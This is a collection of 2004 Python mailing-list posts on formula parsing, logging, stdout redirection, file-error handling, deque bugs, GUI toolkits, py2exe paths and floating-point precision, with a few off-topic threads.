'=+GC142*(GC94+0.5*sum(GC96:GC101))' > > >>> delimiters = '=+*():' > > >>> parts = [] > > >>> appending = False > > >>> for char in formula: > > ... if char in delimiters: > > ... parts+= [char] > > ... appending = False > > ... else: > > ... if appending: > > ... parts[-1]+= char > > ... else: > > ... parts+= [char] > > ... appending = True > > ... > > >>> parts > > ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', > > 'GC96', ':', 'GC101', ')', ')'] > > > > This is simply to get you what you want, if you wish to use this formula > > to actually compute something, it may be wise to dive into the various > > parser packages, I found TPG (Toy Parser Generator) easy to use for > > simple things... > > > > Cheerio, Marc. > > Among others I have to code geometric algos in assembler like e.g. xnew=x*cos(phi)-y*sin(phi) ynew=y*cos(phi)+xsin(phi) This is done by macro calls to feed an arithmetic coprocessor with a 4 register deep stack which is upn organized. The idea was to write the formula as a comment and let python generate the assembler macro calls. Here is my first approach to do the first step corresponding to your problem: >>> import sys,os,shlex, StringIO,re,string >>> formula='y=+GC142*(GC94+0.5*sum(GC96:GC101))' >>> infile = StringIO.StringIO(formula) >>> x = shlex.shlex(infile) >>> input=[x.get_token()] >>> while input[-1]: ... if input[-1]=='.': ... input[-2]=input[-2]+'.'+x.get_token() ... del input[-1] ... input.append(x.get_token()) ... >>> input ['y', '=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', 'GC96', ':', 'GC101', ')', ')', ''] >>> Quite an other approach was to use the python compiler with the restriction that my formula had to follow python sytax which was no problem for me. So if you replace the divide sign ":" by "/" this works too. >>> import compiler >>> formula='y=+GC142*(GC94+0.5*sum(GC96/GC101))' >>> compiler.parse(formula) Module(None, Stmt([Assign([AssName('y', 'OP_ASSIGN')], Mul((UnaryAdd(Name('GC142')), Add((Name('GC94'), Mul((Const(0.5), CallFunc(Name('sum'), [Div((Name('GC96'), Name('GC101')))], None, None))))))))])) The result represents function calls to process formula. The nesting of the function calls is arithmeticly correct. So if you code function for each functionname you can do in that specific functions what ever you want to do. BTW the nesting is upn-organized what helped me very much. Maybe this approach is a little bit silly cause python gurus will tell me that the result of compiler.parse(...) is a compile.ast-instance where you can do things in a more pythonic manner, but I'm not so deep in the compiler.ast philosophy and the results of what I did were fully satisfying for me. Hope I could give you some ideas. Regards Peter From mauriceling at acm.org Thu Sep 2 01:42:17 2004 From: mauriceling at acm.org (Maurice LING) Date: Thu, 02 Sep 2004 05:42:17 GMT Subject: compiling to python byte codes Message-ID: <4136b2b5$1@news.unimelb.edu.au> Hi, I remembered reading a MSc thesis about compiling Perl to Java bytecodes (as in java class files). At least, it seems that someone had compiled scheme to java class files quite successfully. I'm wondering if something of such had been attempted in python, as in compiling X language into .pyc. I do not understand the schematics of .pyc files but I assume that they are the so called python bytecode files. Or is there any documentation or books that is the python equivalent of "Programming for the Java Virtual Machine" by Joshua Engel? Thanks Maurice -- Maurice Han Tong LING, BSc(Hons)(MCB), AdvDipComp, SSN, FIFA Doctor of Philosophy (Science) Candidate, The University of Melbourne mobile: +61 4 22781753 +65 96669233 mailing address: Department of Zoology, The University of Melbourne Royal Parade, Parkville, Victoria 3010, Australia residential address: 9/41 Dover Street Flemington, Victoria 3031, Australia email: mauriceling at acm.org resume: http://maurice.vodien.com/maurice_resume.pdf www: http://www.geocities.com/beldin79/ The information contained in this message, including its attachment(s), is CONFIDENTIAL and solely intended to its addressee(s) only. The content of this message, including its attachment(s), may be subjected to copyright and privacy laws. If you have received this email in error, please let me know by returning this email, and then destroy all copies. "I cannot discover anyone knows enough to say definitely what is and what is not possible" -Henry Ford "The difference between the impossible and the possible lies in a person's determination" -Tommy Charles Lasorda From michele.simionato at gmail.com Fri Sep 24 00:31:05 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 23 Sep 2004 21:31:05 -0700 Subject: ANN: Logging Package v0.4.9.4 released References: <2e37dc1.0409230442.7e74543d@posting.google.com> Message-ID: <4edc17eb.0409232031.66ad3d4e@posting.google.com> vinay_sajip at yahoo.co.uk (Vinay Sajip) wrote in message news:<2e37dc1.0409230442.7e74543d at posting.google.com>... > A new version of the Python logging package has been released. If you > are using version 2.3 of later of Python, this release will not mean > much to you - it is the same as recent checkins into Python CVS. > However, this release fixes numerous bugs reported since the last > independent release (0.4.9.2), and may be of interest to people using > earlier versions of Python. > The logging package is pretty good and pretty powerful. The problem is that it is *too* powerful. I found out that in most of the situations I need a very tiny subset of its functionalities. Months ago I studied it, but now I have completely forgot it; I have discovered that it takes me less time to write my own logging routines than to use the logging module :-( Is there some plan to solve this "issue"? I mean, an easy to use interface for the ones who just needs minimal logging facilities? Something easy to remember? I know for sure that there is at least a Sourceforge project about easy logging (I could found it googling on this newsgroup) but I would like something standard included in the batteries. Am I alone experiencing these difficulties? Michele Simionato From fumanchu at amor.org Mon Sep 20 15:46:09 2004 From: fumanchu at amor.org (Robert Brewer) Date: Mon, 20 Sep 2004 12:46:09 -0700 Subject: Python as alternative to Visual Basic Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EF2@exchange.hqamor.amorhq.net> Harry George wrote: > We do a lot of inhouse Win32 Python development. Most of the projects > use PyQt via BlackAdder, with some in wxPython. Python has been solid > for win32 com calls (that ordinarily would use VB). Sometimes we have > to write a sample in VB to get the API understood, and then code it > cleanly in Python (esp. true for macro capture mechanisms, where the > COTS app generates VB.) > > Just in terms of time-to-market it should be a winner, even if at some > point you have to port to some other language (more likely C# or Java > than VB). > > We find an experienced programmer needs about 2 weeks to ramp up on > python. Peer-level code reviews help in growing the team knowledge > level. I think if you could quantify "a lot" with some vague number of projects and/or developers, this would be a great candidate for a success story at http://www.pythonology.com/success Just a thought, Robert Brewer MIS Amor Ministries fumanchu at amor.org From finite.automaton at gmail.com Wed Sep 29 17:44:41 2004 From: finite.automaton at gmail.com (Lonnie Princehouse) Date: 29 Sep 2004 14:44:41 -0700 Subject: how to get files in a directory References: Message-ID: <4b39d922.0409291344.1b1b369c@posting.google.com> Backslash begins an escape sequence in a string literal. You have a few options: 0. Use a forward slash (which will work in Python for DOS paths): "E:/myDir1/myDir2"" 1. Use the escape sequence for backslash: "E:\\myDir1\\myDir2" 2. Use a raw string: r"E:\myDir1\myDir2" Further reference: http://www.python.org/doc/current/ref/strings.html > Surprisingly if i give os.walk("E:\myDir1") the above code works, but > not if i have 2 levels of directories. Yes, that is kind of surprising. Also, your nested loop... for i in dir: for j in files: fille = root+i+j print file ... doesn't make any sense. "dir" is a list of sub-directories in root, while "files" is a list of non-directory files in root. The files in "files" are not in the subdirectories. From heikowu at ceosg.de Thu Sep 16 06:55:20 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Thu, 16 Sep 2004 12:55:20 +0200 Subject: Recording messages and print statements in a textfile during program execution. In-Reply-To: <41496CAB.4DDC14F7@iee.lu> References: <41496CAB.4DDC14F7@iee.lu> Message-ID: <200409161255.20601.heikowu@ceosg.de> Am Donnerstag, 16. September 2004 12:36 schrieb Manfred Schwab: > Recording messages and print statements in a textfile during program > execution. Example: import sys _originalStdout = sys.stdout _originalStderr = sys.stderr def redirectTo(stdoutstream,stderrstream=None): sys.stdout = stdoutstream sys.stderr = stderrstream or stdoutstream def resetRedirect(): sys.stdout = _originalStdout sys.stderr = _originalStderr from redirect import * redirectTo(file("example1.log","w")) print "This is a test logging message." print "Yet another one." raise RuntimeError, "and this error will also be logged to the file." from redirect import * redirectTo(file("example2.log","w"),file("example2.error-log","w")) print "This will be written to example2.log" raise RuntimeError, "This error message is written to example2.error-log" from redirect import * import StringIO x = StringIO.StringIO() redirectTo(x) print "This message will appear in the string buffer." print "This message will also appear in the string buffer." # Do something with x. file("example3.log","w").write(x.uppercase()) # Reset redirection. resetRedirect() print "This message will appear on screen." print "This message too." raise RuntimeError, "This error will also appear on screen." HTH! Heiko. From hjwidmaier at web.de Thu Sep 30 09:56:53 2004 From: hjwidmaier at web.de (Hans-Joachim Widmaier) Date: Thu, 30 Sep 2004 15:56:53 +0200 Subject: File handling: The easy and the hard way Message-ID: Hi all. Handling files is an extremely frequent task in programming, so most programming languages have an abstraction of the basic files offered by the underlying operating system. This is indeed also true for our language of choice, Python. Its file type allows some extraordinary convenient access like: for line in open("blah"): handle_line(line) While this is very handy for interactive usage or throw-away scripts, I'd consider it a serious bug in a "production quality" software. Tracebacks are fine for programmers, but end users really never should see any. Especially not when the error is not in the program itself, but rather just a mistyped filename. (Most of my helper scripts that we use to develop software handle files this way. And even my co-workers don't recognize 'file or directory not found' for what it is.) End users are entitled to error messages they can easily understand like "I could not open 'blaah' because there is no such file". Graceful error handling is even more important when a program isn't just run on a command line but with a GUI. Which means? Which means that all this convenient file handling that Python offers really should not be used in programs you give away. When I asked for a canonical file access pattern some months ago, this was the result: http://groups.google.com/groups?hl=de&lr=&ie=UTF-8&threadm=pan.2003.12.30.21.32.37.195763%40web.de&rnum=1&prev=/groups%3Fhl%3Dde%26lr%3D%26ie%3DUTF-8%26q%3Dfile%2Bpattern%2Bcanonical%26btnG%3DSuche%26meta%3D Now I have some programs that read and write several files at once. And the reading and writing is done all over the place. If I really wanted to do it "right", my once clear and readily understandable code turns into a nightmare. This doesn't look like the language I love for its clarity and expressivness any more. Python, being a very high level language, needs a higher level file type, IMHO. This is, of course, much easier said than done. And renown dimwits like me aren't expected to come up with solutions. I've thought about subclassing file, but to me it looks like it wouldn't help much. With all this try/except framing you need to insert a call level anyway (wondering if this new decorator stuff might help?). The best I've come up so far is a vague idea for an error callback (if there isn't one, the well known exceptions might be raised) that gets called for whatever error occured, like: class File: ... def write(self, data): while True: try: self._write(data) except IOError, e: if self.errorcallback: ret, dat = self.errorcallback(self, F_WRITE, e, data) if ret == F_RETURN: return dat else: raise The callback could then write a nice error message, abort the program, maybe retry the operation (that's what the 'while True'-loop is for) or return whatever value to the original caller. Although the callback function will usually be more than a few lines, it can be reused. It can even be packed into your own file-error-handling module, something the original usage pattern can't. If you still bear with me, you might as well sacrifice a few more seconds and tell me what you think about my rant. Is everything just fine as it is now? Or do I have a point? I always felt it most important to handle all errors a program may encounter gracefully, and the easier this is to do, the less likely it is a programmer will just sneak around the issue and let the interpreter/run time system/operating system handle it. (And yes, I'm guilty of not obeying it myself, as it can double or triple the time needed to write the whole program; just because its so cumbersome.) Waiting-for-you-to-jump-on-me'ly yours, Hans-Joachim From exarkun at divmod.com Fri Sep 3 17:18:13 2004 From: exarkun at divmod.com (Jp Calderone) Date: Fri, 03 Sep 2004 17:18:13 -0400 Subject: open default MUA with a hyper link In-Reply-To: References: Message-ID: <4138DF95.7080800@divmod.com> Yann.K wrote: > Hello. > > I would like to do a hypertext link on a GUI, which launch a per default > mail user agent (with the "to" header documented). > To launch an url in a web browser i use webbrowser.open(url). > Do exist an equivalent command to run the per default MUA (like ie > webbrowser.mail_open(toto at example.com)? > > Thank's for your help. > webbrowser.open("mailto:exarkun at divmod.com") gives me a mozilla browser and a mozilla compose window. I don't know of an existing way to do better than that. Jp From jerf at jerf.org Sat Sep 18 13:34:34 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Sat, 18 Sep 2004 17:34:34 GMT Subject: PyYaml? References: <2IO2d.1086$HH5.1025@trndny05> Message-ID: On Sat, 18 Sep 2004 05:33:14 +0000, Chris S. wrote: > I disagree. Pickle's mini programming language allows for arbitrary file > deletion. There's nothing in the concept of serialization that requires > this ability. Point. But it is also insecure because instantiating objects can cause arbitrary code to execute. This is fundamental to any Pickle in Python. Given that, one might as well shoot for speed, ease of implementation, and concise representations (power of implementation) without worrying about security. In other words, I expect that the ability to delete files is an effect (second-order) of the fundamental insecurity, and not a cause, in the sense that removing that particular issue does not get you significantly closer to security. From behnel_ml at dvs1.informatik.tu-darmstadt.de Thu Sep 30 08:54:56 2004 From: behnel_ml at dvs1.informatik.tu-darmstadt.de (Stefan Behnel) Date: Thu, 30 Sep 2004 14:54:56 +0200 Subject: SegFault using deque in 2.4b3 Message-ID: Hi! In Python 2.4b3, the deque is causing a segfault on two different machines I tested on. With deque, my program runs fine for a while (at least some tens of seconds up to minutes) and then suddenly segfaults. I'm sorry I can't tell exactly when, but I'm running an application that uses a few hundred deques where elements are appendleft()ed and pop()ed (simple queue). As the application is rather complex (and I didn't read about this error before anywhere), I guess it could be quite a bit of work for me to come up with a test case. At least I couldn't reproduce it with simple loops running interleaved pop/appendleft and my machine has enough memory, so that's not the problem. I'm not using things like Psyco either, which BTW (in 2.4) segfaults as well (1.2 and CVS). Anyway, when I replace the deque with this: class deque(list): def appendleft(self, item): self.insert(0, item) the segfault disappears, so it's definitely deque's fault. Has anyone else observed this problem? Stefan From ed at leafe.com Sat Sep 25 14:20:07 2004 From: ed at leafe.com (Ed Leafe) Date: Sat, 25 Sep 2004 14:20:07 -0400 Subject: up with PyGUI! In-Reply-To: References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> Message-ID: <87836FB4-0F1F-11D9-B926-003065B11E84@leafe.com> On Sep 25, 2004, at 4:49 AM, OKB (not okblacke) wrote: > You've already had to retype "self.b1" twice just to > specify the size and caption. What if you wanted to specify a color? > A > background color? To say nothing of an event handler. Obviously, if things were that complex, you could set a reference to the button and use that reference instead of the 'self' construct. class MainForm(dabo.ui.dForm): def __init__(self, parent=None): self.addObject(ButtonDescription, "b1") btn = self.b1 btn.Size = (40,40) btn.Caption = "b1" There is also nothing to prevent you from writing that button as a class definition (although I have a personal dislike of a 'class' being used for an instance). Something like: class MainForm(dabo.ui.dForm): def __init__(self, parent=None): class btn1(ButtonDescription): Size = (40, 40) Caption = "b1" self.addObject(btn1, "b1") To my eye, that's a lot uglier than writing it as it is: instance coding. Dressing it up as a class in order to save typing 'self' isn't justified, IMO. ___/ / __/ / ____/ Ed Leafe http://leafe.com/ http://dabodev.com/ From robin at SPAMREMOVEjessikat.fsnet.co.uk Sat Sep 4 19:24:03 2004 From: robin at SPAMREMOVEjessikat.fsnet.co.uk (Robin Becker) Date: Sun, 05 Sep 2004 00:24:03 +0100 Subject: YOU ALL SUCK! In-Reply-To: References: <1bf5bcb9.15695836@aol.com> <4139FCDA.8020601@jessikat.fsnet.co.uk> Message-ID: <413A4E93.8050801@jessikat.fsnet.co.uk> Bengt Richter wrote: ....... > > Did you originate that? I found it somewhere in lisp, but there was no author identified. > It starts: > ________ > > ;;; -*- Mode: LISP; Syntax: Common-lisp; Base: 10. -*- > > (defvar *line-length* 72.) > > (defvar *chomsky-help* > "CHOMSKY is an aid to writing linguistic papers in the style > of the great master. It is based on selected phrases taken > from actual books and articles written by Noam Chomsky. > Upon request, it assembles the phrases in the elegant > stylistic patterns that Chomsky is noted for. > To generate n sentences of linguistic wisdom, type > (CHOMSKY n) -- for example > (CHOMSKY 5) generates half a screen of linguistic truth.") > ________ > > I was doing a little perl at the time, so I took the source verbatim and prefixed perl > code ending in __END__ on that, so I could use DATA to get at the strings in the lisp > mainly, and then sort of duplicate the processing logic in perl. The above was an output > I just ran. My perl of this dates to Aug 99, so it's not as easy to read as if I had > written it in Python ;-) Unfortunately, > > Are you the original author? There must be a nostalgia story around this ;-) > > Regards, > Bengt Richter Not my work, I remembered the Chomsky generator from years ago. -- Robin Becker From carribeiro at gmail.com Mon Sep 6 10:33:48 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 6 Sep 2004 11:33:48 -0300 Subject: Lager'd Statistics on language migration In-Reply-To: <1gjoo62.k6qgc44zbkjgN%aleaxit@yahoo.com> References: <2ae25c6b.0409050132.4ce24330@posting.google.com> <1gjoo62.k6qgc44zbkjgN%aleaxit@yahoo.com> Message-ID: <864d37090409060733cc54023@mail.gmail.com> On Mon, 6 Sep 2004 09:24:03 +0200, Alex Martelli wrote: > Still OK, I guess. So, my working hypothesis would be: people tend to > post about preferring a newer / less widespread language over an older / > more widespread one, more frequently than they post about the reverse > preference. Why people compare Python with either Ruby or Perl MUCH > more often than Perl and Ruby with each other, I dunno... I think that Perl --> Python is a natural path, in historic terms -- both languages having a similar age and maturity. Perl is older - 1.0 was announced in 1987. At this time, Guido was already working on Python, but the 0.9 was only released in 1991... But now, being 17 x 13 is not a huge different (in language lifetimes, anyway). As for Ruby, it's a different matter. I think that Ruby is a little farther away from Perl in the language spectrum than Python, but I have no hard data to back my claim. It's just how I feel about it, and it may be more related to the timeline (Perl --> Python --> Ruby, so Ruby got to learn from both and to position itself as an alternative to Python). Everyone wants to be the new kid on the block, in this case. p.s. I must be with too many time in my hands lately to be answering this sort of question :-) Time to find real work to do. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From agriff at tin.it Wed Sep 22 01:28:17 2004 From: agriff at tin.it (Andrea Griffini) Date: Wed, 22 Sep 2004 05:28:17 GMT Subject: Comparioson of purpose for PyGUI and AnyGUI ??? References: <1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com> <1gkbphs.l3eo2d1707mysN%aleaxit@yahoo.com> Message-ID: <0r22l05r8hid261ptta9pkp588jvnleoe7@4ax.com> On Tue, 21 Sep 2004 20:17:26 -0700, Richard Hanson wrote: >loading-RH9-tomorrow'ly y'rs, >Richard Hanson OT but I can't resist. Pay attention to what you're doing and please be sure you're installing a very current very patched system. I installed RH9 on a server (to replace an old machine running RH6) and to my great surprise it lasted to the wind of the internet about 6 hours before being rooted by a romanian idiot. Is it only the brand name the part I don't like in windows ? I would say not. Andrea From albalmer at att.net Mon Sep 13 11:52:47 2004 From: albalmer at att.net (Alan Balmer) Date: Mon, 13 Sep 2004 08:52:47 -0700 Subject: Xah Lee's Unixism References: <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <41444b6a$0$6932$61fed72c@news.rcn.com> <87zn3v7ekc.fsf@p4.internal> <41446336$0$6925$61fed72c@news.rcn.com> <87pt4r771o.fsf@p4.internal> <41458c14$0$2648$61fed72c@news.rcn.com> Message-ID: <60gbk01kj3h9rsvgikv7jahelsal0bfg1c@4ax.com> On Mon, 13 Sep 04 10:39:16 GMT, jmfbahciv at aol.com wrote: >>Responding in "hints" and ALL CAPS brings us to the ludicrous situation >>where a Turk gets to give a pointer to the ACLU to an American: >> >>http://www.aclu.org/SafeandFree/SafeandFree.cfm?ID=13079&c=207 > >I'm not going to be able to get out to read that one. Just >mentioning the ACLU gives me the bias that you're listening >with a BS filter. ACLU has gone bonkers in that they've >become completely inconsist these days. This particular article isn't even consistent within itself. They try to make the reader equate "detainees" (most of whom have just been sent back home) and "secret arrests" which they somehow know all about. They also complain that "this group is almost entirely Arab, South Asian, or Muslim ...". Surprise, surprise. In fact, the article with its list of actions the ACLU has taken belies its own premise that all these things are happening in secret without any representation for the "victims." Years ago, I thought the ACLU was a Good Thing. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From jepler at unpythonic.net Thu Sep 2 14:07:51 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Thu, 2 Sep 2004 13:07:51 -0500 Subject: use of Java modules In-Reply-To: <2pp4v4Fnp39vU1@uni-berlin.de> References: <2pp4v4Fnp39vU1@uni-berlin.de> Message-ID: <20040902180751.GB5522@unpythonic.net> If you use the Jython (www.jython.org) implementation of Python, you can call to arbitrary java modules easily. There have been various projects to let the C implementation of Python, CPython, play with Java. http://64.233.167.104/search?q=cache:UIcaceSHRgUJ:www.freenet.org.nz/python/spiro/&hl=en http://jpype.sourceforge.net/ .. and probably others. I don't have experience with any of these, I just know their names from spending a long time in the Python community, as well as doing a little bit of google searching before sending this post. Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From john.thingstad at chello.no Fri Sep 10 11:35:04 2004 From: john.thingstad at chello.no (John Thingstad) Date: Fri, 10 Sep 2004 17:35:04 +0200 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> Message-ID: On Fri, 10 Sep 2004 08:26:15 -0700, Alan Balmer wrote: >> > And, of course, entertaining the possibility that his agenda is just > what he says it is, is completely out of the question. > Yes, the Iraq war ruled that out. -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ From lbates at swamisoft.com Mon Sep 13 17:47:27 2004 From: lbates at swamisoft.com (Larry Bates) Date: Mon, 13 Sep 2004 16:47:27 -0500 Subject: #comments References: Message-ID: Not a comment problem. You need commas after literals in the print statements print "You typed", myInput # and again or print "You typed %s" % myInput # and again Larry Bates Syscon, Inc. "Ken Parkes" wrote in message news:pan.2004.09.13.21.36.41.766093 at NOSPAMrosecott.ukfsn.org... > > Oh lord, start again:- > > data=raw_input("Type something ") # spacer after "something" > myInput=data > print "You typed " myInput # and again > print "The fourth character is "myInput[3] # and again > > From richie at entrian.com Thu Sep 23 08:28:43 2004 From: richie at entrian.com (Richie Hindle) Date: Thu, 23 Sep 2004 13:28:43 +0100 Subject: Parsing HTML In-Reply-To: References: Message-ID: [Richie] > BeautifulSoup is perfect for this job: Um, BeautifulSoup may be perfect, but my script isn't. It fails with the Swedish page because it doesn't cope with "" appearing in the HTML. And I don't know whether you'd consider it correct to extract only the bold text from the entries that have bold text. But it gives you a place to start. 8-) -- Richie Hindle richie at entrian.com From dperl at rogers.com Tue Sep 14 01:19:56 2004 From: dperl at rogers.com (Dan Perl) Date: Tue, 14 Sep 2004 05:19:56 GMT Subject: My first attempt at subclassing....Gahh! References: <95c29a5e.0409131910.5c916122@posting.google.com> Message-ID: <0cv1d.2164$KKl1.859@news04.bloor.is.net.cable.rogers.com> "Robin Siebler" wrote in message news:95c29a5e.0409131910.5c916122 at posting.google.com... > I'm using Python 2.2.3 and the error I get is 'TypeError: cannot > create 'instance method' instances'. > > import filecmp > > class dircmp(filecmp.dircmp): > def my_report_partial_closure(self): > output= [] > self.report() > for x in self.subdirs.keys(): > output.append(self.subdirs[x].report()) > return output > > class report(filecmp.dircmp.report): filecmp.dircmp.report is a method in the filecmp.dircmp class. You have to subclass from another class and you cannot subclass from a method. What you probably want is define a subclass of filecmp.dircmp (like your own dircmp) and define a method report(self) inside it. This means that you are overriding the superclass's report( ) method. Inside your report( ) method, you can still use the filecmp.dircmp.report method like this: filecmp.dircmp.report(self). Hope this helps. From jjl at pobox.com Wed Sep 1 13:39:12 2004 From: jjl at pobox.com (John J. Lee) Date: 01 Sep 2004 18:39:12 +0100 Subject: multipart/form-data in an HTTP client References: Message-ID: Nelson Minar writes: > I'm writing some code to upload photos to Flickr. The Photo Upload API > requires documents be POSTed via a multipart/form-data request. I was > surprised to learn that Python 2.3's HTTP clients don't support this > form of POSTs. There is support in cgi.py, for servers. "Not supported" is an exaggeration, perhaps: there isn't special support to make it especially easy, true, but neither is there anything about urllib2 that makes it harder than it should be given the level of the interface exposed: you just have to add the right HTTP headers and HTTP request body data. > There are some implementations of multipart/form-data on ASPN: > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146306 > urllib2_file seems to meet my needs, but I'm not wild about how it's > implemented. What's wrong with that implementation? Looks reasonable to me, though it seems to have a hack to work around bad servers that is different to the one I have in my own code. I can well believe that both hacks are required to work with as many servers as possible :-( John From jlearman at cisco.com Sat Sep 4 22:10:54 2004 From: jlearman at cisco.com (Jeff Learman) Date: Sat, 04 Sep 2004 22:10:54 -0400 Subject: blocking read on stdin on Windows? In-Reply-To: References: <1094311253.319782@sj-nntpcache-5> <1094330337.826284@sj-nntpcache-3> Message-ID: <1094350115.497917@sj-nntpcache-5> Aha. It works for me too, if I run from DOS prompt. It's only failing when I run from IDLE Python Development Environment. I'll file a bug report. Thanks for your help! I'd be happy to help you out in return; just let me know if you want some piano or Hammond organ tracks for original recordings ;) Jeff Dennis Lee Bieber wrote: > On Sat, 04 Sep 2004 16:35:00 -0400, Jeff Learman > declaimed the following in comp.lang.python: > > > >>Any ideas? >> > > Seems to work here (W98SE, "MS-DOS PROMPT" window)... > > G:\>type t.py > import msvcrt > > print msvcrt.kbhit() > print "prompt: ", > ch = msvcrt.getche() > print > print ord(ch) > > G:\>python t.py > 0 > prompt: a > 97 > > G:\>python t.py > 0 > prompt: > 0 > > > Note -- the second one was ; IOW, a "null" byte. > > G:\>type t.py > import msvcrt > > print msvcrt.kbhit() > print "prompt: ", > ch = msvcrt.getche() > print > print `ch` > > > G:\>python t.py > 0 > prompt: > '\x00' > From programmer.py at gmail.com Mon Sep 13 09:36:13 2004 From: programmer.py at gmail.com (Jaime Wyant) Date: Mon, 13 Sep 2004 08:36:13 -0500 Subject: Ideas on self updating software? In-Reply-To: <864d3709040913062975445460@mail.gmail.com> References: <864d3709040913062975445460@mail.gmail.com> Message-ID: Not doing it at all is a good idea too! And definitely the simplest... :-) jw On Mon, 13 Sep 2004 10:29:30 -0300, Carlos Ribeiro wrote: > On Sat, 11 Sep 2004 21:38:08 -0500, Jaime Wyant wrote: > > Can anyone give me some pointers on writing "self-updating" python > > programs? I have an application that is almost ready for beta > > testing. I want to be able to fix any bugs and push the updates out. > > Plase don't. Or -- if you do -- warn your users. Even if this is done > inside a company under your full control, it's a good idea. If, at > last, you decide that you must do it automatically, do it only at some > specific times -- for example, at bootup or when the program is first > loaded everyday. But don't 'push' it automatically. Be really careful, > because many people don't like the idea of automatic software updates, > independent of how good the intentions are. > > > -- > Carlos Ribeiro > Consultoria em Projetos > blog: http://rascunhosrotos.blogspot.com > blog: http://pythonnotes.blogspot.com > mail: carribeiro at gmail.com > mail: carribeiro at yahoo.com > From __peter__ at web.de Fri Sep 3 05:09:53 2004 From: __peter__ at web.de (Peter Otten) Date: Fri, 03 Sep 2004 11:09:53 +0200 Subject: format sring question References: Message-ID: Lowell Kirsh wrote: > In Peter Norvig's Infrequently Answered Questions he explains that the > following 2 fnctions look almost identical but are not the same: > > def printf(format, *args): print format % args, > > def printf(format, *args): print str(format) % args, > > The only difference is that in the second one, str(format) replaces > format. If args are not given and the format string contains a '%', the > first will work but the second will not. Why is this so? It seems to me > like '100%' and str('100%) are the same object, no? > > Lowell The only difference is that the _second_ one will work for non-strings, too, when only the 'format' argument is passed and str(format) does not contain any '%' characters. Two consecutive '%' are always converted into one, I'd say this is broken behaviour when the conversion is applied on the result of str(format) and format is not a string. IMHO the second form is extremely bad code and you better forget about it fast. Peter From lbates at swamisoft.com Wed Sep 8 09:56:40 2004 From: lbates at swamisoft.com (Larry Bates) Date: Wed, 8 Sep 2004 08:56:40 -0500 Subject: In search of idiom in py2exe References: Message-ID: After struggling with this for a while I came up with what method that ALWAYS works for me. I use some sort of .INI configuration file in almost 100% of my programs (particularly the ones that I "freeze" with py2exe). I routinely put a parameter in that .INI file that is something like: [defaults] installpath= . . Followed by other .INI configuration parameters . Then I put a lines in my Inno Installer script that are something like: [INI] ; ; Set the paths in progfile.INI to point to where the ; program was installed ; Filename: "{app}\progfile.ini"; Section: "defaults"; Key: "installpath"; String: "{app}" (all on 1 line) This allows the user to install the application anywhere they wish AND I have a foolproof way of finding my way back to the program file's installation directory. May not be as elegant as some other approaches but it is easily understandable and seems to work 100% of the time. Larry Bates Syscon, Inc. wrote in message news:dqosj0hd4lav7v6s2gr6achvg3ig476chk at 4ax.com... > In many of my scripts I've used the following idiom for accessing data > files placed nearby: > > BASEDIR = os.path.dirname(__file__) > . > . > . > fp = file(os.path.join(BASEDIR,"somefile.txt")) > . > . > . > img = image.open(os.path.join(BASEDIR,"images","someimage.jpg")) > > > This works well with my cohorts who place their work on different > drives, in different directories, etc. > > However, when I use py2exe to make an executable, the name '__file__' > is not defined. > > Can anyone recommend an idiom that will work with py2exe? > > Thanks in advance, > Dave M. > > P.S. -- We've also tried the idiom > > BASEDIR = os.path.dirname(sys.argv[0]) > > but the result can be misleading, for example, if the script is > launched from a desktop shortcut. From grante at visi.com Mon Sep 20 13:51:28 2004 From: grante at visi.com (Grant Edwards) Date: 20 Sep 2004 17:51:28 GMT Subject: Math errors in python References: <4618b20c.0409192034.5408eebb@posting.google.com> <414eea5b$0$62452$a1866201@newsreader.visi.com> Message-ID: <414f18a0$0$60640$a1866201@newsreader.visi.com> On 2004-09-20, Dennis Lee Bieber wrote: > On 20 Sep 2004 14:34:03 GMT, Grant Edwards declaimed > the following in comp.lang.python: > >> On 2004-09-20, david h wrote: >> >> > the problem with BCD or other 'decimal' computations is that it either >> > doesn't have the dynamic range of binary floating point (~ +-10**310) >> >> Huh? Why would BCD floating point have any less range than >> binary floating point? Due to the space inefficiencies of >> BCD, it would take a few more bits to cover the same range, >> but I don't see your point. > > There /was/ an "or" in that sentence, which you trimmed out... Sorry about that, but I wasn't addressing the other complaint, just the lack of range part. > Though working with numbers that are stored in >150 bytes > doesn't interest me. Uhm, actually, to handle the +/- exponent > range, make that 300+ bytes (150+ bytes before the decimal, > and the same after it). To get the same range and precision as a 32-bit IEEE, you need 4 bytes for mantissa and 2 for the exponent. That's 6 bytes, not 300. > As soon as you start storing an exponent as a separate > component you introduce a loss of precision in computations. I thought you were complaining about range and storage required for BCD vs. binary. Floating point BCD can have the same range and precision and binary floating point with about a 50% penalty in storage space. If you're going to compare fixed point verses floating point, that's a completely separate (and orthogonal) 